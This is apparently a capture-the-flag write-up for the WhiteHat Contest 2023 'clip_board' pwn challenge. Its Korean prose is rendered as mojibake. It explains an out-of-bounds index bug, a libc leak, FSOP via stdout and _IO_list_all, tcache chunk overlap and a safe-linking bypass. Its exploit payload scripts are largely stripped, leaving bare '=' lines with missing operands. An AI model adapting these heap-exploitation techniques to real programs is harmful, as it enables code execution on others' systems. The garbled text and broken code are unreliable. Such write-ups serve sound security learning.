WhiteHat Contest 2023 Quals - clip_board
๋ชฉ์ฐจ
0x00. Introduction
Concept
int __fastcall
AddClipboard(), DelClipboard(), ViewClipboard() ์ธ ๊ฐ์ง ๊ธฐ๋ฅ์ด heap์ ๊ธฐ๋ฐ์ผ๋ก ๊ตฌํ๋์ด์๋ค. ์น์ ํ๊ฒ๋ heap ์ฃผ์๋ฅผ ํ๋ ์ถ๋ ฅํด์ฃผ์ด heap leak์ ๋ฐ๋ก ํด์ฃผ์ง ์์๋ ๋๋ค.
Global Variables
char *chunk_list;
char check_chunk_list; // size = 16
int chunk_size_list;
์๋ฅผ ๋ค์ด AddClipboard() ์คํ ์ index์ i๋ฅผ ์
๋ ฅํ๋ฉด ์ ๊ตฌ์กฐ์ฒด๋ค์ ๋ค์๊ณผ ๊ฐ์ ๊ฐ์ด ์ค์ ๋๋ค.
chunk_list[i]:malloc(size)check_chunk_list[i]:1chunk_size_list[i]:size
์ด ๋ check_chunk_list๋ alignment ๋๋ฌธ์ธ์ง 16๋ฐ์ดํธ๋งํผ ํ ๋น๋์ด์๋ค.
0x01. Vulnerability
int
AddClipboard(), DelClipboard(), ViewClipboard()์์ ๊ณตํต์ ์ผ๋ก index ๊ฐ์ด ์์์ผ ๋๋ฅผ ๊ฒ์ฆํ์ง ์์ OOB ์ทจ์ฝ์ ์ด ์๋ค.
๋ค๋ง ์ํ๋ ๋์์ ํ๊ธฐ ์ํด์ check๊ฐ 0์ด ์๋ ๊ฐ์ ๊ฐ์ ธ์ผํ๋ฏ๋ก, check_chunk_list ์ ์์ญ์ ๊ฐ์ ์ ํ์ธํด์ผ ํ๋ค.
0x02. Exploit
Libc Leak
index๋ฅผ ์์๋ก ์
๋ ฅํด ์ทจ์ฝ์ ์ ํ์ฉํ๊ธฐ ์ํด์ chunk_list ์ ์์ญ์ ์ดํด๋ณด๋ฉด, stdout๊ณผ stdin์ด ์๋ค.
0x555555558008 ์์ญ์ __dso_handle๋ผ๋ ๋ณ์๋ช
์ผ๋ก bss ์์ญ์ ์ฃผ์๊ฐ ์ฐ์ฌ์์ด ํ์ธํด๋ณด๋ fini_array์ __do_global_dtors_aux์์ ํ๋ฒ ์ฐธ์กฐํ๋ ๊ฒ์ ์ ์ธํ๊ณ ๋ ์ฐธ์กฐ๋์ง ์๋๋ค. ์ด ๋ฌธ์ ์์๋ ๋ฑํ ์๋ฏธ๊ฐ ์์ง๋ง ๊ธฐ์ตํด๋๋ค๊ฐ ๋์ค์ ์จ๋จน์ผ๋ฉด ์ข์ ๊ฒ ๊ฐ๋ค.
stdin์ chunk_list[-2], stdout์ chunk_list[-4]๋ก ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ฐ, ViewClipboard๋ก ๊ฐ์ ์ฝ์ด์ค๊ธฐ ์ํด์๋ check_chunk_list[-2]๋ check_chunk_list[-4]์ 0์ด ์๋ ๊ฐ์ด ์ ์ฅ๋์ด ์์ด์ผ ํ๋ค. ๊ทธ๋ ๋ค๋ฉด 0x55555555808e ํน์ 0x55555555808c์ ๊ฐ์ ์ ์ฅํด์ผ ํ๋ค๋ ์๋ฆฐ๋ฐ, index๋ฅผ 9๋ก ์
๋ ฅํด์ 0x555555558088์ malloc()์ด ๋ฐํํ ๊ฐ์ ์ ์ฅํ๋ค๊ณ ํด๋ ์ฃผ์ ๊ฐ์ด๋ผ ์ ๋ถ๋ถ์ ์ฐ์ด์ง ์์ํ
๋ 0x55555555808e์๋ 0์ด ๋ค์ด๊ฐ๋ค.
๋ฐ๋ผ์ stdout๋ง view๊ฐ ๊ฐ๋ฅํ๊ณ , ๋ค์๊ณผ ๊ฐ์ payload๋ก libc ์ฃผ์๋ฅผ ์ป์๋ค.
# leak libc
=
= - 0x21b803
=
# clean clipboards
FSOP
[ | |
Full RELRO๊ฐ ์ ์ฉ๋์ด์๊ธฐ ๋๋ฌธ์ GOT์์ญ์ write๊ฐ ๋ถ๊ฐ๋ฅํ๊ณ 0x555555558000์ chunk_list์ ์ฌ์ด์๋ stdout, stdin๋ฐ์ ์๋ค.
stdout, stdin์ ๋ฐ๊ฟ์ RIP control์ ํด์ผํ๋ ์๋ฃ๋ฅผ ์ฐพ์๋ณด๋ค๊ฐ FSOP ๊ธฐ๋ฒ์ ๋ฐ๊ฒฌํ๋ค. FSOP ๊ธฐ๋ฒ์ ์ด ๊ธ์ ์ ๋ฆฌํ ๋ด์ฉ์ ์ฌ์ฉํ๋ค.
๋ฌธ์ ์์๋ AddClipboard() ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ง์๋๋ก ํ ๋น๋ฐ์ ์ ์๊ณ , ์ฒ์์ heap ์ฃผ์๋ฅผ ์ฃผ์์ผ๋ offset์ ๊ณ์ฐํ์ฌ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค.
# allocate wide_vtable
= + 0xebc85
= * 2 # dummy
+= * 19
= + 0x4a0
# allocate anywhere can read / write
= + 0x550
# allocate wide_data
=
=
=
=
=
= + 0x660
# allocate new_fp and overwrite stdout
= + 0x2170c0
=
= # stdout -> flags
= # stdout -> _wide_data
= # stdout -> mode
= # stdout -> vtable
์ดโฆ ์ ๋๊ฒ ์ค๋ช
ํ๋๋ฐ ์ฌ์ค ๊ฐ์ฅ ํฐ ๋ฌธ์ ๊ฐ ํ๋ ์๋ค. OOB ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ chunk_list[-4]์ ์์นํ stdout์ overwriteํ๋ฉด ๋ฉ๋ชจ๋ฆฌ๋ ๋ค์ ์ด๋ฏธ์ง์ ๊ฐ๋ค.

๊ทธ๋ฐ๋ฐ ์ฌ์ค _IO_flush_all_lockp๋ _IO_list_all์ ์ํํ๋ฉฐ file stream์ overflow๊ฐ ๋ฐ์ํ๋์ง ํ์ธํ๊ธฐ ๋๋ฌธ์, ๊ณต๊ฒฉ์๊ฐ ํ ๋นํ wide_vtable์ one_gadget ํจ์๊ฐ ํธ์ถ๋๊ธฐ ์ํด์๋ ๋ฉ๋ชจ๋ฆฌ๊ฐ ๋ค์ ์ด๋ฏธ์ง์ ๊ฐ์์ ธ์ผ ํ๋ค.

๋ฐ๋ผ์ libc ์์ญ์ ์๋ _IO_list_all ํฌ์ธํฐ๋ฅผ overwrite ํด์ผํ๋คโฆ
stdout์ ์ ์ฅ๋ ๊ฐ์ ์ง์ ์ ๊ทผํ๋ ๋ค๋ฅธ FSOP ์๋๋ฆฌ์ค๋ฅผ ์ฐพ์๋ค๋ฉด ์ด๋ฐ ์ง์ ํ์ง ์์์ด๋ ๋๋๋ฐ ์์ฌ์ธ ๋ฐ๋ฆ์ด๋คโฆ
Tcache Unlink
์์ ์๋ก์ด ๋ฌธ์ ๋ฅผ ๋ณด๋ ๊ธฐ๋ถ์ผ๋ก ์ฝ๋๋ฅผ ๋ณด๋ค๋ณด๋ฉด DelClipboard()์์ ๋ค์ ๋์์ ์ํํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
int
AddClipboard()์์ 1๋ก ์ค์ ๋ check_chunk_list[index]์ ๊ฐ์ 0์ผ๋ก ๋๋ ค์ค๋ค.
check_chunk_list ์์๋ malloc()์ผ๋ก ํ ๋น๋ฐ์ heap ์์ญ์ ์ฃผ์๋ค์ด ์ฐ์ฌ์๋ค. ๋ง์ฝ malloc(), free()๋ฅผ ํ๋ ์์๊ฐ ๊ฐ์ผ๋ฉด offset๋ ๋์ผํ ๊ฒ์ด๋ฏ๋ก, ํ ๋น๋ฐ์ ์ฃผ์๋ฅผ leakํ์ง ์๋๋ผ๋ ์์ธกํ ์ ์๋ค.
๋ฐ๋ผ์ malloc์ด 0xXXXXXXXXXX10 ์ฃผ์๋ฅผ ๋ฐํํ๊ฒ๋ heap์ ์ ๋ ฌ์์ผ๋๊ณ , 0xXXXXXXXXXX00 ์ฃผ์์ fake chunk header๋ฅผ ๋ง๋ค์ด์ค ๋ค์, ์ฃผ์์ ๋ง์ง๋ง ๋ฐ์ดํธ์ธ 0x10์ 0x00์ผ๋ก ๋ง๋ค์ด์ฃผ๋ฉด fake chunk๋ฅผ free()์ํฌ ์ ์๋ค.
# align last byte
# make fake chunk header
= b * 0x10
+=
+=
# allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
# overwrite 410 -> 400 and free fake chunk (size 0x100)
# free XXXXXXXXX440, XXXXXXXXX470
์์ ๊ฐ์ด payload๋ฅผ ์์ฑํ๊ณ ์ฝ๋๋ฅผ ์คํํ๊ณ tcache์์ ์ฌ์ด์ฆ 0x30, 0x100 bin์ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
Tcachebins[idx=1, size=0x30, count=2] | | )
| | )
Tcachebins[idx=14, size=0x100, count=1] | | )
์ด๋ ๊ฒ 0x555555559400 ์์ญ์ด 0x555555559440, 0x555555559470 ์์ญ๊ณผ ๊ฒน์น๊ฒ ๋๊ธฐ ๋๋ฌธ์ 0xf0์ง๋ฆฌ chunk๋ฅผ ์์ฒญํ๋ฉด 0x555555559440์ fd๋ฅผ overwriteํ ์ ์๋ค.
Safe Linking Bypass
๊ทธ๋ฐ๋ฐ ์ด ๋ 0x555555559440๊ณผ 0x555555559470์ fd๋ฅผ ํ์ธํด๋ณด๋ฉด ๋จ์ํ ๋ค์ chunk์ ์ฃผ์๋ฅผ ์ ์ฅํ์ง ์๋๋ฐ, ์ด๋ tcache์ safe linking ๋๋ฌธ์ด๋ค.
๊ณต๋ถํ๊น์ ๊ฐ๋ตํ๊ฒ ์ ๋ฆฌํ์๋ฉด glibc 2.32๋ฒ์ ๋ถํฐ free๋ chunk๋ ๋ค์๊ณผ ๊ฐ์ ๊ตฌ์กฐ๋ฅผ ๊ฐ์ง๊ฒ ๋๋ค.
;
์ ๋ฉ๋ชจ๋ฆฌ์์ 0x62cde40f9bbc5877๋ก ์ถ๋ ฅ๋ ๊ฒ์ด key์ธ๋ฐ, ๋ค์๊ณผ ๊ฐ์ ๋ก์ง์ ํตํด double free๋ฅผ ๋ฐฉ์งํ๋ค.
free(ptr)์ ํ์ ๋,ptr->key์ ์ ๋๋ก ๋key๊ฐ์ด ์๋์ง ๊ฒ์ฆ- ์๋ค๋ฉด
abort
- ์๋ค๋ฉด
- ์ ๋๋ก ๋
key๊ฐ์ด ์๋ค๋ฉด,ptr์size์ ๋ง๋ tcache bin์ ์ํptr์ด bin์ ์๋ค๋ฉดabort
๋ฌธ์ ๋ next์ธ๋ฐ, glibc ๋ฒ์ ์ ๋ฐ๋ผ ๋ค๋ฅด๊ฒ ์ง๋ง 2.35์ ๊ฒฝ์ฐ ํฌ์ธํฐ ๋ง์คํน ๋๋ ํฌ์ธํฐ ์ํธํ ๊ธฐ๋ฒ์ด ์ ์ฉ๋์ด์ ๋ค์ ์ฐ์ฐ์ ํ๊ณ ์ ์ฅํ๋ค.
// Encryption
entry->next = ;
// Decryption
tcache_entry *next = ;
์ฌ๊ธฐ์์ tcache ๊ฐ์ tcache_perthread_struct์ ์ฃผ์๋ผ๊ณ ํ๋๋ฐโฆ ์ค์ ๋ฉ๋ชจ๋ฆฌ์ ๋ค๋ฅธ ๊ฒ ๊ฐ์์ 2.35 glibc ์์ค์ฝ๋๋ฅผ elixir์์ ์ฐพ์๋ณด์๋๋ฐ ๋ญ๊ฐ ์๋ง๋ ๊ฒ ๊ฐ์ ํ์ธ์ด ํ์ํ๋ค.
์๋ฌดํผ ์ค์ xor ์ฐ์ฐ์ด ๋๋ tcache ๊ฐ์ heap base ์ฃผ์๋ฅผ 12bit right shiftํ 0x555555559์ผ๋ก, next๊ฐ null์ด์ด์ผ ํ๋ 0x555555559470 chunk๋ฅผ ๋ณด๋ฉด ์ ์ ์๋ค. ๋ฐ๋ผ์ _IO_list_all์ ์ฃผ์์ธ 0x7ffff7fa5680์ 0x555555559๋ฅผ xorํ ๊ฒฐ๊ณผ๋ฅผ 0x555555559440 chunk์ next ์์น์ ์ฐ๋ฉด ๋ค์๊ณผ ๊ฐ์ด tcache bin์ด ๊ตฌ์ฑ๋๋ค.
Tcachebins[idx=1, size=0x30, count=2] | | )
| | )
_IO_list_all์ ์ฃผ์ 0x7ffff7fa5680 8๋ฐ์ดํธ ์์ ์์นํ 0์ด size๋ก ์ธ์๋์ด corrupted chunk๋ก ์ถ๋ ฅ๋์ง๋ง ๋คํํ malloc() ์ size ๊ฒ์ฆ์ ํ์ง ์์ 0x7ffff7fa5680๋ฅผ ๋ฐํ๋ฐ๋๋ฐ์ ์ฑ๊ณตํ๋ค.
# reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
# now XXXXXXXXX440 -> IO_list_all
= + 0x21b680
= b * 0x38
+=
+=
# allocating 5 returns address of IO_list_all
์ด๋ ๊ฒ payload๋ฅผ ์คํํ๋ฉด ๋ชฉ์ ํ๋ _IO_list_all์ ์์ฑํ new_fd์ ์ฃผ์๊ฐ ๋ด๊ธฐ๊ฒ ๋๋ค.
0x03. Payload
=
=
=
= 0x0000555555554000
=
= f
=
return
return
return
return
return
=
=
=
=
=
= & 0xfffffffffffff000
# leak libc
=
= - 0x21b803
=
# clean clipboards
# align last byte
# make fake chunk header
= b * 0x10
+=
+=
# allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
# overwrite 410 -> 400 and free fake chunk (size 0x100)
# free XXXXXXXXX440, XXXXXXXXX470
# reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
# now XXXXXXXXX440 -> IO_list_all
= + 0x21b680
= b * 0x38
+=
+=
# allocating 5 returns address of IO_list_all
# allocate wide_vtable
= + 0xebc85
= * 2 # dummy
+= * 19
= + 0x4a0
# allocate anywhere can read / write
= + 0x550
# allocate wide_data
=
=
=
=
=
= + 0x660
# allocate new_fp and overwrite stdout
= + 0x2170c0
=
= # stdout -> flags
= # stdout -> _wide_data
= # stdout -> mode
= # stdout -> vtable
# trigger _IO_flush_all_lockp
=
=